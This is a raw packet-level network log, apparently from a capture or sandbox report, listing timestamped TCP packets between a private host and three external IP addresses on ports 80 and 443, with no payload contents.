Aug 21, 2024 08:32:15.216718912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216725111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216731071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216742039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216748953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216753960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216759920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216761112 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216811895 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216988087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217012882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217029095 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217072010 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217109919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217116117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217128038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217163086 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217221975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217227936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217241049 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217277050 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217282057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217289925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217331886 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217421055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217427969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217433929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217438936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217444897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217458963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217464924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217472076 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217473030 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217478037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217485905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217493057 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217525005 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217525005 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217560053 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217706919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217817068 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217823029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217828035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217834949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217848063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217859983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217865944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217871904 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217871904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.217899084 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.217927933 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.218831062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.218837976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.218844891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.218884945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.218916893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.218935013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.218941927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.218959093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.218966007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.218997002 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.219027042 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.219079971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219085932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219091892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219098091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219110012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219125032 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.219147921 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.219211102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219218969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219223976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219269991 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.219364882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219371080 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219382048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219414949 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.219453096 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.219464064 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219470024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219475985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219486952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219512939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.219512939 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.219543934 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.219568014 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.220623016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.220629930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.220642090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.220664024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.220669985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.220675945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.220681906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.220685005 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.220694065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.220721006 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.220768929 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.234523058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234534979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234541893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234591007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.234626055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234632015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234652996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234659910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234664917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234668016 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.234700918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.234729052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234735012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234746933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234759092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234765053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.234774113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.234805107 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.235142946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235178947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235186100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235239029 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.235304117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235310078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235316992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235321999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235347033 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.235363007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.235441923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235449076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235455036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235460997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235466957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235472918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235482931 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.235485077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235491991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235503912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235512972 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.235527039 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.235546112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.235955000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235961914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235966921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235972881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235977888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235990047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.235995054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236001015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236005068 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236015081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236021042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236027956 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236032009 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236033916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236041069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236046076 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236047983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236078024 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236102104 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236284018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236290932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236315012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236321926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236341953 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236357927 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236422062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236428976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236439943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236445904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236452103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236473083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236476898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236485958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236493111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236499071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236504078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236510992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236515999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236521959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236537933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236619949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236629009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236643076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236649990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236649990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236649990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236649990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236658096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236660957 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236664057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236671925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236679077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236691952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236716032 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236783028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236788988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236800909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236807108 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236814022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236825943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236831903 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236831903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236838102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236850023 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236850977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236862898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236891985 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236922979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236934900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236941099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236947060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236953974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.236965895 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.236993074 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.237003088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.237071037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237076998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237087965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237093925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237104893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237112045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237117052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237123966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237123966 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.237134933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237143993 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237143993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.237149954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237160921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237162113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.237178087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.237183094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.237200975 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.237226009 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.238213062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238219976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238225937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238272905 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.238303900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238310099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238317013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238323927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238348007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.238363981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.238473892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238480091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238486052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238491058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238497019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238508940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238514900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.238528967 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.238538980 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.238568068 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.250045061 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.250077963 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.250107050 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.250108957 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.250116110 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.250123978 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.250168085 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.250188112 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.250195026 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.250212908 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.250231028 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.250279903 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.250279903 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.250286102 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.250333071 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.250849962 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.250988007 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.251266956 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.251364946 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.254846096 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.254918098 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.254928112 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.254992008 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.271033049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271086931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271094084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271100044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271110058 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.271148920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.271148920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.271155119 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271162987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271168947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271173954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271203041 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.271231890 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.271370888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271377087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271388054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271394014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271399975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271411896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.271433115 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.271466970 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.272228956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272233963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272245884 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272252083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272257090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272263050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272269964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272295952 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.272295952 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.272329092 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.272824049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272872925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272878885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272913933 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.272947073 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.272972107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272979021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272990942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.272999048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.273010015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.273045063 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.273071051 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.273085117 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.273142099 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.273144007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.273152113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.273178101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.273184061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.273216009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.273216963 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.273248911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.273255110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.273310900 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.281493902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.281501055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.281512976 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.281562090 CEST	49720	80	192.168.2.6	147.45.44.104
